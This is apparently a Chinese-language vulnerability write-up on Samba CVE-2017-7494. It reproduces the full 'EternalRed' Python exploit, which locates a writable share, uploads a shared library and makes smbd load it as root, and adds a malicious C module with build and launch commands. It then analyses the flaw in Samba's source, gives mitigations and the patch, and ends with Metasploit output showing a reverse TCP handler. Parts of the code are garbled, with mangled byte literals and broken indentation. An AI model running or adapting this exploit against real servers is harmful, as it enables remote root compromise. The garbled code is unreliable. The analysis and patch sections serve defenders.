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[[[[]]]/[]/[]/[]]
Catalogue

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1. 漏洞复现

- [illegible]

0x1: POC1

[illegible]

```
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
```

```
def main():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target", help="target ip address")
    parser.add_option("-m", "--module", dest="module", help="module path on target server")
```

```
(options, args) = parser.parse_args()
if options.target and options.module:
    stringbinding = r'ncacn_np:%s[\pipe]%s' % (options.target, options.module)
    rpctransport = transport.DCERPCTransportFactory(stringbinding)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
```

```
else:
    parser.print_help()
```

```
if __name__ == "__main__":
    main()
```

0x2: POC2

```
#!/usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
```

```
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *

class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password

class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)

def hook_listShares(self):
self._listShares = self.listSharesEx

def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix

# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')

expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]

def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_EXECUTE | FILE_DELETE_ON_CLOSE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))

m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)

def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of Wireshark to packet capture
data_bytes = \
binascii.unhexlify(b""05 00 0b 03 10 00 00 00 74 00 00 00"").replace(b' ', b'') + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
```

```

70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00
01 00 00 00
"".replace(b' ', b')).replace(b'\n', b'))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
    errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))

def rpcBindCB(trans_message, **kwargs):
    messages_history.append(trans_message)
    if trans_message.status == 0:
        m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
        m.tid = trans_message.tid
        self._sendSMBMessage(m)
        self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
        messages_history.append(m)
    else:
        closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')

def rpcReadCB(read_message, **kwargs):
    messages_history.append(read_message)
    if read_message.status == 0:
        call_id = self._getNextRPCCallID()

padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
    padding = b'\0\0'
server_bytes_len += 2

# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture
data_bytes = \
    binascii.unhexlify(b""05 00 00 03 10 00 00 00"").replace(b' ', b')) + \
    struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
    binascii.unhexlify(b""4c 00 00 00 00 00 0f 00 00 00 02 00"").replace(b' ', b')) + \
    struct.pack('<III', server_len, 0, server_len) + \
    (remote_name + '\0').encode('UTF-16LE') + padding + \
    binascii.unhexlify(b""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
"".replace(b' ', b')).replace(b'\n', b'))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
    closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')

def listShareResultsCB(result_message, **kwargs):
    messages_history.append(result_message)
    if result_message.status == 0:
        # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
        data_bytes = result_message.payload.out_data

if data_bytes[3] & 0x02 == 0:
    sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
    decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
    self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:

```

```

closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def decodeResults(tid, fid, data_bytes):
    shares_count = struct.unpack('<I', data_bytes[36:40])[0]
    results = [ ]      # A list of SharedDevice2 instances
    offset = 36 + 52    # You need to study the byte stream to understand the meaning of these constants
    for i in range(0, shares_count):
        results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
        offset += 12

    for i in range(0, shares_count):
        max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
        offset += 12
        results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

        if length % 2 != 0:
            offset += (length * 2 + 2)
        else:
            offset += (length * 2)

        max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
        offset += 12
        results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

        if length % 2 != 0:
            offset += (length * 2 + 2)
        else:
            offset += (length * 2)

        max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
        offset += 12
        results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

        if length % 2 != 0:
            offset += (length * 2 + 2)
        else:
            offset += (length * 2)

        max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
        offset += 12
        results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

        if length % 2 != 0:
            offset += (length * 2 + 2)
        else:
            offset += (length * 2)

    closeFid(tid, fid)
    callback(results)

def sendReadRequest(tid, fid, data_bytes):
    read_count = min(4280, self.max_read_size)
    m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
        fid = fid, data_bytes = data_bytes)

def readCB(read_message, **kwargs):
    messages_history.append(read_message)
    if read_message.status == 0:
        data_len = read_message.payload.data_length
        data_bytes = read_message.payload.data

    if data_bytes[3] & 0x02 == 0:
        sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
    else:

```

```

decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
    closeFid(read_message.tid, kwargs['fid'])
    errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def closeFid(tid, fid, results = None, error = None):
    m = SMB2Message(SMB2CloseRequest(fid))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
    messages_history.append(m)

def closeCB(close_message, **kwargs):
    if kwargs['results'] is not None:
        callback(kwargs['results'])
    elif kwargs['error'] is not None:
        errback(OperationFailure(kwargs['error'], messages_history))

if path not in self.connected_trees:
    def connectCB(connect_message, **kwargs):
        messages_history.append(connect_message)
        if connect_message.status == 0:
            self.connected_trees[path] = connect_message.tid
            connectSrvSvc(connect_message.tid)
        else:
            errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))

    m = SMB2Message(SMB2TreeConnectRequest(r'\\%s%s' % ( self.remote_name.upper(), path )))
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
    messages_history.append(m)
    else:
        connectSrvSvc(self.connected_trees[path])

# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout):
    if not self.has_authenticated:
        raise NotReadyError('SMB connection not authenticated')

messages_history = [ ]

def sendOpen(tid):
    m = SMBMessage(ComOpenAndxRequest(filename = path,
    access_mode = 0x0040, # Sharing mode: Deny nothing to others
    open_mode = 0x0001, # Failed if file does not exist
    search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
    timeout = timeout * 1000))
    m.tid = tid
    self._sendSMBMessage(m)
    self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
    messages_history.append(m)

def openCB(open_message, **kwargs):
    messages_history.append(open_message)
    if not open_message.status.hasError:
        if max_length == 0:
            closeFid(open_message.tid, open_message.payload.fid)
            callback(( file_obj, open_message.payload.file_attributes, 0 ))
        else:
            sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
    else:
        errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))

def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
    read_count = self.max_raw_size - 2
    m = SMBMessage(ComReadAndxRequest(fid = fid,
    offset = offset,

```

```

max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset,
    read_len = read_len, remaining_len = remaining_len)

def readCB(read_message, **kwargs):
    # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
    if not read_message.status.hasError:
        read_len = kwargs['read_len']
        remaining_len = kwargs['remaining_len']
        data_len = read_message.payload.data_length
        if max_length > 0:
            if data_len > remaining_len:
                file_obj.write(read_message.payload.data[:remaining_len])
                read_len += remaining_len
                remaining_len = 0
            else:
                file_obj.write(read_message.payload.data)
                remaining_len -= data_len
                read_len += data_len
            else:
                file_obj.write(read_message.payload.data)
                read_len += data_len

        if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
            closeFid(read_message.tid, kwargs['fid'])
            callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
        else:
            sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
        else:
            messages_history.append(read_message)
            closeFid(read_message.tid, kwargs['fid'])
            errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))

def closeFid(tid, fid):
    m = SMBMessage(ComCloseRequest(fid))
    m.tid = tid
    self._sendSMBMessage(m)
    messages_history.append(m)

if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
    messages_history.append(connect_message)
    if not connect_message.status.hasError:
        self.connected_trees[service_name] = connect_message.tid
        sendOpen(connect_message.tid)
    else:
        errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_

m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
    sendOpen(self.connected_trees[service_name])

def get_connection(user, password, server, port, force_smb1=False):
    if force_smb1:
        smb_structs.SUPPORT_SMB2 = False

    conn = SMBConnectionEx(user, password, "", "server")
    assert conn.connect(server, port)
    return conn

def get_share_info(conn):
    conn.hook_listShares()
    return conn.listShares()

```

```

def find_writeable_share(conn, shares):
    print("[+] Searching for writable share")
    filename = "red"
    test_file = tempfile.TemporaryFile()
    for share in shares:
        try:
            # If it's not writeable this will throw
            conn.storeFile(share.name, filename, test_file)
            conn.deleteFiles(share.name, filename)
            print("[+] Found writeable share: " + share.name)
            return share
        except:
            pass

    return None

def write_payload(conn, share, payload, payload_name):
    with open(payload, "rb") as fin:
        conn.storeFile(share.name, payload_name, fin)

    return True

def convert_share_path(share):
    path = share.path[2:]
    path = path.replace("\\", "/")
    return path

def load_payload(user, password, server, port, fullpath):
    conn = get_connection(user, password, server, port, force_smb1 = True)
    conn.hook_retrieveFile()

    print("[+] Attempting to load payload")
    temp_file = tempfile.TemporaryFile()

    try:
        conn.retrieveFile("IPC$", "\\\\" + server + "\\PIPE\\" + fullpath, temp_file)
    except:
        pass

    return

def drop_payload(user, password, server, port, payload):
    payload_name = "charizard"

    conn = get_connection(user, password, server, port)
    shares = get_share_info(conn)
    share = find_writeable_share(conn, shares)

    if share is None:
        print("[!] No writeable shares on " + server + " for user: " + user)
        sys.exit(-1)

    if not write_payload(conn, share, payload, payload_name):
        print("[!] Failed to write payload: " + str(payload) + " to server")
        sys.exit(-1)

    conn.close()

    fullpath = convert_share_path(share)
    return os.path.join(fullpath, payload_name)

def main():
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
    description= """Eternal Red Samba Exploit -- CVE-2017-7494
    Causes vulnerable Samba server to load a shared library in root context
    Credentials are not required if the server has a guest account
    For remote exploit you must have write permissions to at least one share
    """

```

Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share

For local exploit provide the full path to your shared library to load

Your shared library should look something like this

```
extern bool change_to_root_user(void);
int samba_init_module(void)
{
    change_to_root_user();
    /* Do what thou wilt */
}
"""
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()

if not os.path.isfile(args.payload):
    print("[!] Unable to open: " + args.payload)
    sys.exit(-1)

port = 445
user = "nobody"
password = ""
fullpath = ""

if args.port:
    port = args.port
if args.username:
    user = args.username
if args.password:
    password = args.password

if args.local:
    fullpath = args.payload
else:
    fullpath = drop_payload(user, password, args.server, port, args.payload)

load_payload(user, password, args.server, port, fullpath)

if __name__ == "__main__":
    main()
```

0x3: so code

```
#include <stdio.h>
#include <stdlib.h>

int samba_init_module(){
    printf("Hi Samba. \n from: Fuck");
    system("id > /home/samba/Fuck.txt");

    return 0;
}
```

gcc -fPIC -shared samba_hack.c -o samba_hack.so

/home/samba/samba_hack.so


```
python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so
```

Relevant Link:

<https://www.exploit-db.com/exploits/42060/>

https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_vuln.rb

<https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1>

https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/

2. 漏洞代码原理分析

MSF发送的最核心payload本质上一个SMB数据包，即通过SMB协议打开一个named pipe文件

```
# Returns a SMB_CREATE_RES response for a given named pipe
def create_pipe(filename, disposition = 1, impersonation = 2)
  self.create(filename)
end

# Creates a file or opens an existing pipe
def create(filename, disposition = 1, impersonation = 2, do_recv = true)

  pkt = CONST::SMB_CREATE_PKT.make_struct
  self.smb_defaults(pkt['Payload']['SMB'])

  pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
  pkt['Payload']['SMB'].v['Flags1'] = 0x18
  if self.require_signing
    #ascii
    pkt['Payload']['SMB'].v['Flags2'] = 0x2807
  else
    #ascii
    pkt['Payload']['SMB'].v['Flags2'] = 0x2801
  end

  pkt['Payload']['SMB'].v['WordCount'] = 24

  pkt['Payload'].v['AndX'] = 255
  pkt['Payload'].v['FileNameLen'] = filename.length
  pkt['Payload'].v['CreateFlags'] = 0x16
  pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed
  pkt['Payload'].v['ShareAccess'] = 7
  pkt['Payload'].v['CreateOptions'] = 0
  pkt['Payload'].v['Impersonation'] = impersonation
  pkt['Payload'].v['Disposition'] = disposition
  pkt['Payload'].v['Payload'] = filename + "\x00"

  ret = self.smb_send(pkt.to_s)
  return ret if not do_recv

  ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)

  # Save off the FileID
  if (ack['Payload'].v['FileID'] > 0)
    self.last_file_id = ack['Payload'].v['FileID']
  end

  return ack
end
```

SMB_COM_NT_CREATE_ANDX是SMB支持的一个Command协议类型，关于SMB协议，请参阅另一篇文章

这个数据包到达Linux Samba服务器后，会触发named pipe解析流程

\\samba-3.5.0\\source3\\rpc_server\\src_pipe.c

```
/**
 * Is a named pipe known?
 * @param[in] cli_filename    The pipe name requested by the client
 * @result          Do we want to serve this?
 */
bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax)
{
    const char *pipename = cli_filename;
    int i;
    NTSTATUS status;

    // [REDACTED]payload[REDACTED]\\PIPE\\path\\xx.so[REDACTED]\\PIPE[REDACTED]
    if (strnequal(pipename, "\\PIPE\\", 6)) {
        pipename += 5;
    }

    if (*pipename == '\\') {
        pipename += 1;
    }

    if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
        DEBUG(10, ("refusing spoolss access\n"));
        return false;
    }

    for (i=0; i<rpc_lookup_size; i++) {
        if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
            *syntax = rpc_lookup[i].rpc_interface;
            return true;
        }
    }

    // [REDACTED]pipename[REDACTED]smb_probe_module()[REDACTED]: \\192.168.206.128\\IPC$\\home\\samba\\samba_hack.so
    status = smb_probe_module("rpc", pipename);
    if (!NT_STATUS_IS_OK(status)) {
        DEBUG(10, ("is_known_pipename: %s unknown\n", cli_filename));
        return false;
    }
    DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename));

    /*
     * Scan the list again for the interface id
     */

    for (i=0; i<rpc_lookup_size; i++) {
        if (strequal(pipename, rpc_lookup[i].pipe.clnt)) {
            *syntax = rpc_lookup[i].rpc_interface;
            return true;
        }
    }

    DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n",
        pipename));

    return false;
}
}
```

在这里可以看到 pipename，这个是管道名，需要利用这个管道名是恶意共享库so文件参数，比如\\home\\samba\\samba_hack.so，这个参数在传递进 smb_probe_module 里，跟进下这个函数

\\samba-3.5.0\\source3\\lib\\module.c

```
NTSTATUS smb_probe_module(const char * subsystem, const char * module)
{
    char * full_path = NULL;
    TALLOC_CTX * ctx = talloc_stackframe();
    NTSTATUS status;


/* Check for absolute path */


/* if we make any 'samba multibyte string' calls here, we break for loading string modules */


DEBUG(5, ("Probing module '%s'\n", module));
// ■■■■■■■■■■■■■■■■■■■■■do_smb_load_module
if (module[0] == '/') {
    status = do_smb_load_module(module, True);
    TALLOC_FREE(ctx);
    return status;
}


full_path = talloc_asprintf(ctx, "%s/%s.%s", modules_path(subsystem), module, shlib_ext());
if (!full_path) {
    TALLOC_FREE(ctx);
    return NT_STATUS_NO_MEMORY;
}


DEBUG(5, ("Probing module '%s': Trying to load from %s\n", module, full_path));


status = do_smb_load_module(full_path, True);


TALLOC_FREE(ctx);
return status;
}
```

继续跟进do_smb_load_module()

```
static NTSTATUS do_smb_load_module(const char * module_name, bool is_probe)
{
    void * handle;
    init_module_function *init;
    NTSTATUS status;
    const char *error;


/* Always try to use LAZY symbol resolving; if the plugin has backwards compatibility, there might be symbols in the plugin referencing to old (removed) functions */
handle = dlopen(module_name, RTLD_LAZY);


/* This call should reset any possible non-fatal errors that occurred since last call to dl* functions */
error = dlerror();


if(!handle) {
```

```

int level = is_probe ? 3 : 0;
DEBUG(level, ("Error loading module '%s': %s\n", module_name, error ? error : ""));
return NT_STATUS_UNSUCCESSFUL;
}
// █████so██████init_samba_module
init = (init_module_function *)dlsym(handle, "init_samba_module");

/* we must check dlerror() to determine if it worked, because
   dlsym() can validly return NULL */
error = dlerror();
if (error) {
DEBUG(0, ("Error trying to resolve symbol 'init_samba_module' "
"in %s: %s\n", module_name, error));
dlclose(handle);
return NT_STATUS_UNSUCCESSFUL;
}

DEBUG(2, ("Module '%s' loaded\n", module_name));

status = init();
if (!NT_STATUS_IS_OK(status)) {
DEBUG(0, ("Module '%s' initialization failed: %s\n",
module_name, get_friendly_nt_error_msg(status)));
dlclose(handle);
}

return status;
}

```

可以看到把管道名传递进入到 dlopen 函数也就是打开恶意构造的共享库文件，接着把句柄给了 dlsym

加载SAMBA_INIT_MODULE,也就是说恶意共享库的功能要写入到 Samba

初始化函数里才能被加载，这样就触发了恶意构造的函数功能。看到这里，不免心理产生一个疑问，这个漏洞看起来是samba提供的一个“正常功能”，似乎就是专门用来加载so模块并执行的，我么接下来分析下samba提供这个功能的本意是什么

0x1: samba module

samba提供了一套module system机制，它提供了samba功能扩展的灵活性

1. Transparent loading of static and shared modules (no need for a subsystem to know about modules)
2. Simple selection between shared and static modules at configure time
3. "preload modules" option for increasing performance for stable modules
4. No nasty #define stuff anymore
5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)

1. Loading modules

Some subsystems in samba use different backends. These backends can be either statically linked in to samba or available as a plugin. A subsystem should have a function that allows a module to register itself. For example, the passdb subsystem has:

NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);

This function will be called by the initialisation function of the module to register itself.

2. Static modules

The modules system compiles a list of initialisation functions for the static modules of each subsystem. This is a define. For example, it is here currently (from include/config.h):

```

/* Static init functions */
#define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();}
These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first

```

3. Shared modules

If a subsystem needs a certain backend, it should check if it has already been registered. If the backend hasn't been registered already, the subsystem should call smb_probe_module(char subsystem, char backend). This function tries to load the correct module from a certain path (\$LIBDIR/subsystem/backend.so). If the first character in 'backend' is a slash, smb_probe_module() tries to load the module from the absolute path specified in 'backend'.

After smb_probe_module() has been executed, the subsystem should check again if the module has been registered.

0x2: RPC Pluggable Modules

回到这次漏洞的主角，RPC subsystem，This architecture was added to increase the maintainability of Samba allowing RPC Pipes to be worked on separately from the main CVS branch. The RPM architecture will also allow third-party vendors to add functionality to Samba through plug-ins.

Samba在3.0之后增加了RPC方式为Samba server增加功能扩展插件(so)的能力

When an RPC call is sent to `smbd`, `smbd` tries to load a shared library by the name `librpc_<pipename>.so` to handle the call if it

Relevant Link:

<http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1>

<http://blogs.360.cn/blog/samba%E8%B9%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E>cv-2017-7494%E5%88%86%E

<http://www.freebuf.com/vuls/135624.html>

<https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html>

<https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html>

<https://www.samba.org/samba/docs/man/Samba-Developers-Guide/>

3. 漏洞利用前提

该漏洞的稳定性和适用性不高，原因是有很多前提限制

1. ■■■■■■■■■■SMB■■■■■

1) ■■■■■share■■■■■

2) ■■■■user■■■■■■■■■■■■■■■■■■■■

2. ■■■■■■■■■■Samba■■■■■■■■■■■■■■■■■■■■so■■■■■■■■■■SMB■■■■■■■■■■

3. ■■■■■■■■■■■■■■■■■■■■■■■■■■■■SMB■■SMB_COM_NT_CREATE_ANDX■■■■■■■■■■so■■■■■■■■■■■■■■■■

Relevant Link:

http://www.sohu.com/a/143887827_332887

4. 临时缓解 && 修复手段

0x1: 通过修改配置文件临时关闭相关功能

smb.conf

```
[global]
```

```
nt pipesupport = no
```

■■samba■■

```
service smb restart
```

#Or

```
/etc/init.d/smb restart
```

0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch

```
diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c
```

index 0633b5f..c3f0cd8 100644

```
--- a/source3/rpc_server/srv_pipe.c
```

```
+++ b/source3/rpc_server/srv_pipe.c
```

```
@@ -475,6 +475,11 @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
```

```
{
    NTSTATUS status;
```

```
+     if (strchr(pipename, '/')) {
+         DEBUG(1, ("Refusing open on pipe %s\n", pipename));
+         return false;
+     }
```

```
+    }
+
+    if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
+        DEBUG(10, ("refusing spoolss access\n"));
+        return false;
+    }
+}
```

samba禁止传入绝对路径的so路径，因为正常来说，samba只接收<sambaroot>/lib/rpc/xxx.so这种路径

Relevant Link:

http://www.sohu.com/a/143887827_332887

<https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch>

<https://www.samba.org/samba/history/security.html>

修改Samba配置文件

在最底部添加如下内容

然后重启smbd服务

至此，环境已经搭建成功。开始用Kail进行攻击。

首先去下载利用的脚本。

然后就是在Metasploit中加载并使用脚本，攻击过程如下

Exploit target:

Exploit targets:

```
[*] Started reverse TCP handler on 192.168.232.134:4444
[*] 192.168.232.137:445 - Using location \\192.168.232.137\fuping\ for the path
[*] 192.168.232.137:445 - Payload is stored in //192.168.232.137/fuping/ as gRoUnyzb.so
[*] 192.168.232.137:445 - Trying location /volume1/gRoUnyzb.so...
```

```
[*] 192.168.232.137:445 - Trying location /volume1/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume1/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume1/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume2/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /volume3/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /shared/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/usb/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /media/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /mnt/media/Fuping/gRoUnyzb.so...
